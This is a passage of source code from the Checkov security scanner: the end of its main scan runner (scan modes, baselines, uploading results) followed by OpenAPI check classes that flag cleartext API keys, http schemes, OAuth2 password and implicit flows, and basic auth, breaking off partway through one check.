suppressions_integration.get_policy_level_suppressions() runner_filter.bc_cloned_checks = custom_policies_integration.bc_cloned_checks custom_policies_integration.policy_level_suppression = list(policy_level_suppression.keys()) runner_filter.set_suppressed_policies(list(policy_level_suppression.values())) if any(framework in runner_filter.framework for framework in ("all", CheckType.SCA_IMAGE)): # only run image referencer, when sca_image framework is enabled runner_filter.run_image_referencer = licensing_integration.should_run_image_referencer() runner_filter.filtered_policy_ids = policy_metadata_integration.filtered_policy_ids runner_filter.filtered_exception_policy_ids = policy_metadata_integration.filtered_exception_policy_ids logger.debug(f"Filtered list of policies: {runner_filter.filtered_policy_ids}") logger.debug(f"Filtered excluded list of policies: {runner_filter.filtered_exception_policy_ids}") runner_filter.excluded_paths = runner_filter.excluded_paths + list(repo_config_integration.skip_paths) if self.config.use_enforcement_rules: runner_filter.apply_enforcement_rules(repo_config_integration.code_category_configs) if self.config.list: print_checks(frameworks=self.config.framework, use_bc_ids=self.config.output_bc_ids, include_all_checkov_policies=self.config.include_all_checkov_policies, filtered_policy_ids=runner_filter.filtered_policy_ids, filtered_exception_policy_ids=runner_filter.filtered_exception_policy_ids) return None baseline = None if self.config.baseline: baseline = Baseline(self.config.output_baseline_as_skipped) baseline.from_json(self.config.baseline) external_checks_dir = self.get_external_checks_dir() created_baseline_path = None default_github_dir_path = os.getcwd() + '/' + os.getenv('CKV_GITHUB_CONF_DIR_NAME', 'github_conf') git_configuration_folders = [os.getenv("CKV_GITHUB_CONF_DIR_PATH", default_github_dir_path), os.getcwd() + '/' + os.getenv('CKV_GITLAB_CONF_DIR_NAME', 'gitlab_conf')] if self.config.directory: exit_codes = [] bc_integration.scan_dir = self.config.directory for root_folder in self.config.directory: absolute_root_folder = os.path.abspath(root_folder) if not os.path.exists(root_folder): logger.error(f'Directory {root_folder} does not exist; skipping it') continue file = self.config.file self.scan_reports = runner_registry.run( root_folder=root_folder, external_checks_dir=external_checks_dir, files=file, ) self.graphs = runner_registry.check_type_to_graph self.resource_subgraph_maps = runner_registry.check_type_to_resource_subgraph_map if runner_registry.is_error_in_reports(self.scan_reports): self.exit_run() if baseline: baseline.compare_and_reduce_reports(self.scan_reports) if bc_integration.is_integration_configured() \ and bc_integration.bc_source \ and bc_integration.bc_source.upload_results \ and not self.config.skip_results_upload \ and not bc_integration.s3_setup_failed: included_paths = [self.config.external_modules_download_path] for r in runner_registry.runners: included_paths.extend(r.included_paths()) self.save_sast_assets_data(self.scan_reports) self.save_sast_reachability_data(self.scan_reports) self.upload_results( root_folder=root_folder, absolute_root_folder=absolute_root_folder, excluded_paths=runner_filter.excluded_paths, included_paths=included_paths, git_configuration_folders=git_configuration_folders, sca_supported_ir_report=runner_registry.sca_supported_ir_report, sast_languages=runner_filter.sast_languages ) if self.config.create_baseline: overall_baseline = Baseline() for report in self.scan_reports: overall_baseline.add_findings_from_report(report) created_baseline_path = os.path.join(os.path.abspath(root_folder), '.checkov.baseline') with open(created_baseline_path, 'w') as f: json.dump(overall_baseline.to_dict(), f, indent=4) exit_codes.append(self.print_results( runner_registry=runner_registry, url=self.url, created_baseline_path=created_baseline_path, baseline=baseline, )) # this needs to run after the upload (otherwise the repository does not exist) should_run_contributor_metrics = bc_integration.bc_api_key and self.config.repo_id and self.config.prisma_api_url logger.debug(f"Should run contributor metrics report: {should_run_contributor_metrics}") if should_run_contributor_metrics: try: # collect contributor info and upload report_contributor_metrics(self.config.repo_id, source.name, bc_integration) except Exception as e: logger.warning(f"Unable to report contributor metrics due to: {e}") exit_code = 1 if 1 in exit_codes else 0 return exit_code elif self.config.docker_image: if self.config.bc_api_key is None: self.parser.error("--bc-api-key argument is required when using --docker-image") return None if self.config.dockerfile_path is None: self.parser.error("--dockerfile-path argument is required when using --docker-image") return None if self.config.branch is None: self.parser.error("--branch argument is required when using --docker-image") return None files = [os.path.abspath(self.config.dockerfile_path)] sca_runner = sca_image_runner() result = sca_runner.run( root_folder='', image_id=self.config.docker_image, dockerfile_path=self.config.dockerfile_path, runner_filter=runner_filter, ) self.scan_reports = result if isinstance(result, list) else [result] if runner_registry.is_error_in_reports(self.scan_reports): self.exit_run() if len(self.scan_reports) > 1: # this shouldn't happen, but if it happens, then it is intended or something is broke logger.error(f"SCA image runner returned {len(self.scan_reports)} reports; expected 1") integration_feature_registry.run_post_runner(self.scan_reports[0]) if not self.config.skip_results_upload and not bc_integration.s3_setup_failed: try: if not bc_integration.on_prem: bc_integration.persist_repository(os.path.dirname(self.config.dockerfile_path), files=files, sast_languages=runner_filter.sast_languages) bc_integration.persist_scan_results(self.scan_reports) bc_integration.persist_sast_scan_results(self.scan_reports) bc_integration.persist_cdk_scan_results(self.scan_reports) bc_integration.persist_image_scan_results(sca_runner.raw_report, self.config.dockerfile_path, self.config.docker_image, self.config.branch) bc_integration.persist_run_metadata(self.run_metadata) # there is no graph to persist self.url = self.commit_repository() except Exception: logging.error('An error occurred while uploading scan results to the platform', exc_info=True) bc_integration.s3_setup_failed = True should_run_contributor_metrics = bc_integration.bc_api_key and self.config.repo_id and self.config.prisma_api_url logger.debug(f"Should run contributor metrics report: {should_run_contributor_metrics}") if should_run_contributor_metrics: try: # collect contributor info and upload report_contributor_metrics(self.config.repo_id, source.name, bc_integration) except Exception as e: logger.warning(f"Unable to report contributor metrics due to: {e}") exit_code = self.print_results(runner_registry=runner_registry, url=self.url) return exit_code elif self.config.file: bc_integration.scan_file = self.config.file runner_registry.filter_runners_for_files(self.config.file) self.scan_reports = runner_registry.run( external_checks_dir=external_checks_dir, files=self.config.file, repo_root_for_plan_enrichment=self.config.repo_root_for_plan_enrichment, ) self.graphs = runner_registry.check_type_to_graph self.resource_subgraph_maps = runner_registry.check_type_to_resource_subgraph_map if runner_registry.is_error_in_reports(self.scan_reports): self.exit_run() if baseline: baseline.compare_and_reduce_reports(self.scan_reports) if self.config.create_baseline: overall_baseline = Baseline() for report in self.scan_reports: overall_baseline.add_findings_from_report(report) created_baseline_path = os.path.join(os.path.abspath(os.path.commonprefix(self.config.file)), '.checkov.baseline') with open(created_baseline_path, 'w') as f: json.dump(overall_baseline.to_dict(), f, indent=4) if bc_integration.is_integration_configured() \ and bc_integration.bc_source \ and bc_integration.bc_source.upload_results \ and not self.config.skip_results_upload \ and not bc_integration.s3_setup_failed: files = [os.path.abspath(file) for file in self.config.file] root_folder = os.path.split(os.path.commonprefix(files))[0] absolute_root_folder = os.path.abspath(root_folder) self.save_sast_assets_data(self.scan_reports) self.save_sast_reachability_data(self.scan_reports) self.upload_results( root_folder=root_folder, absolute_root_folder=absolute_root_folder, files=files, excluded_paths=runner_filter.excluded_paths, git_configuration_folders=git_configuration_folders, sast_languages=runner_filter.sast_languages ) should_run_contributor_metrics = bc_integration.bc_api_key and self.config.repo_id and self.config.prisma_api_url logger.debug(f"Should run contributor metrics report: {should_run_contributor_metrics}") if should_run_contributor_metrics: try: # collect contributor info and upload report_contributor_metrics(self.config.repo_id, source.name, bc_integration) except Exception as e: logger.warning(f"Unable to report contributor metrics due to: {e}") exit_code = self.print_results( runner_registry=runner_registry, url=self.url, created_baseline_path=created_baseline_path, baseline=baseline, ) return exit_code elif not self.config.quiet: print(f"{banner}") return None except ModuleNotEnabledError as m: if all(framework in self.config.framework for framework in m.unsupported_frameworks): logging.warning(m) return None except PlatformConnectionError: # we don't want to print all of these stack traces in normal output, as these could be user error # and stack traces look like checkov bugs logging.debug("Exception traceback:", exc_info=True) self.exit_run() return None except SystemExit: # calling exit_run from an exception handler causes another exception that is caught here, so we just need to re-exit self.exit_run() return None except BaseException: # noqa: B036 # we need to catch any failure and exit properly logging.error("Exception traceback:", exc_info=True) self.exit_run() return None finally: if bc_integration.support_flag_enabled: # append main process log stream to the list of all streams logger_streams.add_stream('main', logs_stream) if bc_integration.s3_setup_failed: print_to_stderr = os.getenv('CKV_STDERR_DEBUG', 'FALSE').upper() == 'TRUE' log_level = os.getenv('LOG_LEVEL', '') if log_level == 'DEBUG': print('Unable to upload support logs. However, LOG_LEVEL is already set to DEBUG, so debug logs are available locally.') elif print_to_stderr: print('Unable to upload support logs - CKV_STDERR_DEBUG is TRUE, printing to stderr.') logger_streams.print_to_console() else: # default to writing to a file - if they are using the support flag they probably are not excited # to get debug logs from stderr (but they also might not be able to access a local file if it # is in CI/CD, so there is not a good approach here) print('Unable to upload support logs - saving debug logs to ./checkov_debug.log. To print the debug ' 'logs to stderr instead, set the CKV_STDERR_DEBUG environment variable to TRUE, and re-run. ' 'Note that this will result in the scan results being printed, followed by all logs.') logger_streams.print_to_files() else: bc_integration.persist_all_logs_streams(logger_streams.get_streams()) def exit_run(self) -> None: exit(0) if self.config.no_fail_on_crash else exit(2) def commit_repository(self) -> str | None: try: return bc_integration.commit_repository(self.config.branch) except Exception: logging.debug("commit_repository failed, exiting", exc_info=True) self.exit_run() return "" def get_external_checks_dir(self) -> list[str]: external_checks_dir: "list[str]" = self.config.external_checks_dir if self.config.external_checks_git: git_getter = GitGetter(url=self.config.external_checks_git[0]) external_checks_dir = [git_getter.get()] atexit.register(shutil.rmtree, str(Path(external_checks_dir[0]).parent)) if bc_integration.sast_custom_policies: if not external_checks_dir: external_checks_dir = [] external_checks_dir.append(bc_integration.sast_custom_policies) return external_checks_dir def upload_results( self, root_folder: str, absolute_root_folder: str, files: list[str] | None = None, excluded_paths: list[str] | None = None, included_paths: list[str] | None = None, git_configuration_folders: list[str] | None = None, sca_supported_ir_report: Report | None = None, sast_languages: Set[SastLanguages] | None = None ) -> None: """Upload scan results and other relevant files""" try: scan_reports_to_upload = self.scan_reports if not bc_integration.on_prem: bc_integration.persist_repository( root_dir=root_folder, files=files, excluded_paths=excluded_paths, included_paths=included_paths, sast_languages=sast_languages ) if git_configuration_folders: bc_integration.persist_git_configuration(os.getcwd(), git_configuration_folders) if sca_supported_ir_report: scan_reports_to_upload = [report for report in self.scan_reports if report.check_type != 'sca_image'] scan_reports_to_upload.append(sca_supported_ir_report) bc_integration.persist_scan_results(scan_reports_to_upload) bc_integration.persist_sast_scan_results(scan_reports_to_upload) bc_integration.persist_cdk_scan_results(scan_reports_to_upload) bc_integration.persist_assets_scan_results(self.sast_data.imports_data) bc_integration.persist_reachability_scan_results(self.sast_data.reachability_report) bc_integration.persist_run_metadata(self.run_metadata) if bc_integration.enable_persist_graphs and not bc_integration.on_prem: bc_integration.persist_graphs(self.graphs, absolute_root_folder=absolute_root_folder) bc_integration.persist_resource_subgraph_maps(self.resource_subgraph_maps) self.url = self.commit_repository() except Exception: logging.error('An error occurred while uploading scan results to the platform', exc_info=True) bc_integration.s3_setup_failed = True def save_sast_assets_data(self, scan_reports: List[Report]) -> None: if not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_IMPORTS', False))): return sast_report = [scan_report for scan_report in scan_reports if isinstance(scan_report, SastReport)] sast_imports_report = self.sast_data.get_sast_import_report(sast_report) self.sast_data.set_imports_data(sast_imports_report) def save_sast_reachability_data(self, scan_reports: List[Report]) -> None: if not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_REACHABILITY', False))): return sast_report = [scan_report for scan_report in scan_reports if isinstance(scan_report, SastReport)] result: Dict[SastLanguages, Any] = {} for rep in sast_report: if rep.sast_reachability: result[rep.language] = {} for rep in sast_report: if rep.sast_reachability: result[rep.language] = {**result[rep.language], **serialize_reachability_report(rep.sast_reachability)} formated_report = SastReport.get_formated_reachability_report(result) self.sast_data.set_reachability_report(formated_report) def print_results( self, runner_registry: RunnerRegistry, url: str | None = None, created_baseline_path: str | None = None, baseline: Baseline | None = None, ) -> Literal[0, 1]: """Print scan results to stdout""" if convert_str_to_bool(os.getenv("CHECKOV_NO_OUTPUT", "False")): # this is mainly used for testing, where the report output is not needed return 0 return runner_registry.print_reports( scan_reports=self.scan_reports, config=self.config, url=url, created_baseline_path=created_baseline_path, baseline=baseline, ) # the flag/arg parsing moved to checkov/common/util/ext_argument_parser.py if __name__ == '__main__': ckv = Checkov() sys.exit(ckv.run()) ================================================ FILE: checkov/openapi/__init__.py ================================================ from checkov.openapi.checks.resource import * # noqa ================================================ FILE: checkov/openapi/checks/__init__.py ================================================ ================================================ FILE: checkov/openapi/checks/base_openapi_check.py ================================================ from __future__ import annotations from typing import Iterable, TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.openapi.checks.registry import openapi_registry as registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories class BaseOpenapiCheck(BaseCheck): def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, path: str | None = None, guideline: str | None = None) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, guideline=guideline, ) self.path = path registry.register(self) def is_start_end_line(self, conf: str) -> bool: return conf in {'__startline__', '__endline__'} ================================================ FILE: checkov/openapi/checks/base_registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.object_registry import Registry as BaseCheckRegistry class Registry(BaseCheckRegistry): def __init__(self) -> None: super().__init__(CheckType.OPENAPI) def get_key(self, entity_type: str, entity_name: str, check_id: str, file_path: str) -> str: return f'{file_path}.{entity_name}.{check_id}' ================================================ FILE: checkov/openapi/checks/registry.py ================================================ from checkov.openapi.checks.base_registry import Registry openapi_registry = Registry() ================================================ FILE: checkov/openapi/checks/resource/__init__.py ================================================ from checkov.openapi.checks.resource.v2 import * # noqa from checkov.openapi.checks.resource.v3 import * # noqa from checkov.openapi.checks.resource.generic import * # noqa ================================================ FILE: checkov/openapi/checks/resource/generic/ClearTextAPIKey.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.common.util.consts import LINE_FIELD_NAMES from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck class ClearTestAPIKey(BaseOpenapiCheck): def __init__(self) -> None: id = "CKV_OPENAPI_20" name = "Ensure that API keys are not sent over cleartext" categories = (CheckCategories.API_SECURITY,) supported_resources = ('paths',) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: schemes = conf.get("schemes") if schemes and isinstance(schemes, list): if "http" not in schemes and "ws" not in schemes: return CheckResult.PASSED, conf servers = conf.get("servers") if servers and isinstance(servers, list): if not any(server['url'].startswith('http://') for server in servers) and \ not any(server['url'].startswith('ws://') for server in servers): return CheckResult.PASSED, conf components = conf.get("components") security_def = conf.get("securityDefinitions") if components and isinstance(components, dict): security_schemes = components.get("securitySchemes") or {} elif security_def: security_schemes = security_def else: return CheckResult.PASSED, conf paths = conf.get('paths') if not isinstance(paths, dict): return CheckResult.PASSED, security_schemes filtered_dict = {} if isinstance(security_schemes, dict): for name, scheme in security_schemes.items(): if isinstance(scheme, dict) and scheme.get('type') == "apiKey": filtered_dict[name] = scheme if not filtered_dict: return CheckResult.PASSED, security_schemes for key, path in paths.items(): if not path: continue if key in LINE_FIELD_NAMES: continue for value in path.values(): if not isinstance(value, dict): continue operation_security = value.get('security') if operation_security and isinstance(operation_security, list): for sec in operation_security[0]: if sec in filtered_dict: return CheckResult.FAILED, security_schemes return CheckResult.PASSED, conf check = ClearTestAPIKey() ================================================ FILE: checkov/openapi/checks/resource/generic/GlobalSecurityFieldIsEmpty.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck class GlobalSecurityFieldIsEmpty(BaseOpenapiCheck): def __init__(self) -> None: id = "CKV_OPENAPI_4" name = "Ensure that the global security field has rules defined" categories = [CheckCategories.API_SECURITY] supported_resources = ['security'] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_rules = conf.get("security") if security_rules: return CheckResult.PASSED, security_rules return CheckResult.FAILED, conf check = GlobalSecurityFieldIsEmpty() ================================================ FILE: checkov/openapi/checks/resource/generic/NoMaximumNumberItems.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck class NoMaximumNumberItems(BaseOpenapiCheck): def __init__(self) -> None: id = "CKV_OPENAPI_21" name = "Ensure that arrays have a maximum number of items" categories = (CheckCategories.API_SECURITY,) supported_resources = ('paths',) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: result = self.check_array_max_items(inner_conf=conf) if result: return result return CheckResult.PASSED, conf def check_array_max_items(self, inner_conf: Any) -> tuple[CheckResult, dict[str, Any]] | None: if isinstance(inner_conf, dict): if "type" in inner_conf: if inner_conf["type"] == "array" and inner_conf.get("maxItems") is None: return CheckResult.FAILED, inner_conf for value in inner_conf.values(): if isinstance(value, dict): result = self.check_array_max_items(inner_conf=value) if result: return result if isinstance(value, list): for inner_conf_2 in value: result = self.check_array_max_items(inner_conf=inner_conf_2) if result: return result return None check = NoMaximumNumberItems() ================================================ FILE: checkov/openapi/checks/resource/generic/SecurityOperations.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck class SecurityOperations(BaseOpenapiCheck): def __init__(self) -> None: id = "CKV_OPENAPI_5" name = "Ensure that security operations is not empty." categories = [CheckCategories.API_SECURITY] supported_resources = ['security'] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.evaluated_keys = ['security', 'paths'] # Check if security field is present and not empty at the root level root_security = conf.get('security') # If security field is not present or empty at the root level, check within each operation paths = conf.get('paths', {}) or {} if isinstance(paths, dict): for path, http_method in paths.items(): if self.is_start_end_line(path): continue if isinstance(http_method, dict): for op_name, op_val in http_method.items(): if self.is_start_end_line(op_name): continue self.evaluated_keys = ['security'] if not isinstance(op_val, dict): continue op_security = op_val.get("security") if op_security is not None and not op_security: # fails when security field is set as empty list return CheckResult.FAILED, conf if op_security is None and not root_security: # no security field for the operation and not in the root return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = SecurityOperations() ================================================ FILE: checkov/openapi/checks/resource/generic/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/openapi/checks/resource/v2/BaseOpenapiCheckV2.py ================================================ from __future__ import annotations from typing import Iterable, Any from abc import abstractmethod from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck from checkov.common.models.enums import CheckResult, CheckCategories class BaseOpenapiCheckV2(BaseOpenapiCheck): def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) @abstractmethod def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: raise NotImplementedError() def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: if "swagger" in conf: swagger = conf.get("swagger") if isinstance(swagger, str) and swagger == '2.0': return self.scan_openapi_conf(conf, entity_type) return CheckResult.UNKNOWN, conf ================================================ FILE: checkov/openapi/checks/resource/v2/GlobalSchemeDefineHTTP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class GlobalSchemeDefineHTTP(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_18" name = "Ensure that global schemes use 'https' protocol instead of 'http'- version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ['schemes'] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: schemes = conf.get("schemes", []) if not schemes: # If the schemes is not included, the default scheme to be used is the one used to access the Swagger # definition itself, in which case the current check is not relevant. return CheckResult.UNKNOWN, conf if 'http' in schemes: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = GlobalSchemeDefineHTTP() ================================================ FILE: checkov/openapi/checks/resource/v2/GlobalSecurityScopeUndefined.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class GlobalSecurityScopeUndefined(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_19" name = "Ensure that global security scope is defined in securityDefinitions - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["security"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_definitions = conf.get('securityDefinitions') or {} security_values = conf.get('security') or [{}] for security in security_values: if not isinstance(security, dict): return CheckResult.UNKNOWN, conf for security_key, security_scopes in security.items(): if self.is_start_end_line(security_key) or not security_scopes: continue security_definition = security_definitions.get(security_key, {}) if not security_definition: return CheckResult.FAILED, conf definition_scopes = security_definition.get('scopes', {}) if not definition_scopes: return CheckResult.FAILED, conf for scope in security_scopes: if scope not in definition_scopes: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = GlobalSecurityScopeUndefined() ================================================ FILE: checkov/openapi/checks/resource/v2/Oauth2OperationObjectPasswordFlow.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class Oauth2OperationObjectPasswordFlow(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_10" name = "Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["paths"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get('paths') or {} security_definitions = conf.get('securityDefinitions') or {} for path, path_dict in paths.items(): if self.is_start_end_line(path): continue if not isinstance(path_dict, dict): return CheckResult.UNKNOWN, conf for operation, operation_dict in path_dict.items(): if self.is_start_end_line(operation): continue if not isinstance(operation_dict, dict): return CheckResult.UNKNOWN, conf security = operation_dict.get('security', []) for security_definition in security: if not isinstance(security_definition, dict): return CheckResult.UNKNOWN, conf for auth_key, auth_definition in security_definitions.items(): if self.is_start_end_line(auth_key): continue if not isinstance(auth_definition, dict): return CheckResult.UNKNOWN, conf auth_type = auth_definition.get('type', '') if auth_type.lower() == 'oauth2': auth_flow = auth_definition.get('flow', '') if auth_flow == 'password': return CheckResult.FAILED, auth_definition return CheckResult.PASSED, conf check = Oauth2OperationObjectPasswordFlow() ================================================ FILE: checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionImplicitFlow.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class Oauth2SecurityDefinitionImplicitFlow(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_12" name = "Ensure no security definition is using implicit flow on OAuth2, which is deprecated - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["securityDefinitions"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_definitions = conf.get('securityDefinitions') or {} for auth_key, auth_dict in security_definitions.items(): if self.is_start_end_line(auth_key): continue if not isinstance(auth_dict, dict): return CheckResult.UNKNOWN, conf auth_type = auth_dict.get('type', '') if auth_type.lower() == 'oauth2': auth_flow = auth_dict.get('flow', '') if auth_flow == 'implicit': return CheckResult.FAILED, auth_dict return CheckResult.PASSED, conf check = Oauth2SecurityDefinitionImplicitFlow() ================================================ FILE: checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionPasswordFlow.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class Oauth2SecurityDefinitionPasswordFlow(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_11" name = "Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files" categories = (CheckCategories.API_SECURITY,) supported_resources = ("securityDefinitions",) super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_definitions = conf.get('securityDefinitions') or {} for auth_key, auth_dict in security_definitions.items(): if self.is_start_end_line(auth_key): continue if not isinstance(auth_dict, dict): return CheckResult.UNKNOWN, conf auth_type = auth_dict.get('type', '') if auth_type.lower() == 'oauth2': auth_flow = auth_dict.get('flow', '') if auth_flow == 'password': return CheckResult.FAILED, auth_dict return CheckResult.PASSED, conf check = Oauth2SecurityDefinitionPasswordFlow() ================================================ FILE: checkov/openapi/checks/resource/v2/Oauth2SecurityPasswordFlow.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class Oauth2SecurityPasswordFlow(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_8" name = "Ensure that security is not using 'password' flow in OAuth2 authentication - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["security"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_values = conf.get("security") or [{}] security_definitions = conf.get('securityDefinitions') or {} for auth_dict in security_values: if not isinstance(auth_dict, dict): return CheckResult.UNKNOWN, conf for auth_key in auth_dict: if self.is_start_end_line(auth_key): continue if not isinstance(security_definitions, dict): return CheckResult.UNKNOWN, conf auth_definition = security_definitions.get(auth_key, {}) auth_type = auth_definition.get('type', '') if auth_type.lower() == 'oauth2': auth_flow = auth_definition.get('flow', '') if auth_flow == 'password': return CheckResult.FAILED, auth_dict return CheckResult.PASSED, conf check = Oauth2SecurityPasswordFlow() ================================================ FILE: checkov/openapi/checks/resource/v2/Oauth2SecurityRequirement.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class Oauth2SecurityRequirement(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_2" name = "Ensure that if the security scheme is not of type 'oauth2', the array value must be empty - version 2.0 files" categories = (CheckCategories.API_SECURITY,) supported_resources = ('security',) super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_values = conf.get("security") or [{}] security_definitions = conf.get("securityDefinitions") or {} non_oauth2_keys = [] for auth_key, auth_dict in security_definitions.items(): if self.is_start_end_line(auth_key): continue auth_type = auth_dict.get("type") if auth_type.lower() != "oauth2": non_oauth2_keys.append(auth_key) for auth_dict in security_values: if not isinstance(auth_dict, dict): return CheckResult.UNKNOWN, conf for key, auth_list in auth_dict.items(): if self.is_start_end_line(key): continue if key in non_oauth2_keys and auth_list: return CheckResult.FAILED, auth_dict return CheckResult.PASSED, conf check = Oauth2SecurityRequirement() ================================================ FILE: checkov/openapi/checks/resource/v2/OperationObjectBasicAuth.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class OperationObjectBasicAuth(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_15" name = "Ensure that operation objects do not use basic auth - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["paths"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get('paths') or {} security_definitions = conf.get('securityDefinitions') or {} for path, path_dict in paths.items(): if self.is_start_end_line(path): continue if not isinstance(path_dict, dict): return CheckResult.UNKNOWN, conf for operation, operation_dict in path_dict.items(): if self.is_start_end_line(operation): continue if not isinstance(operation_dict, dict): return CheckResult.UNKNOWN, conf security = 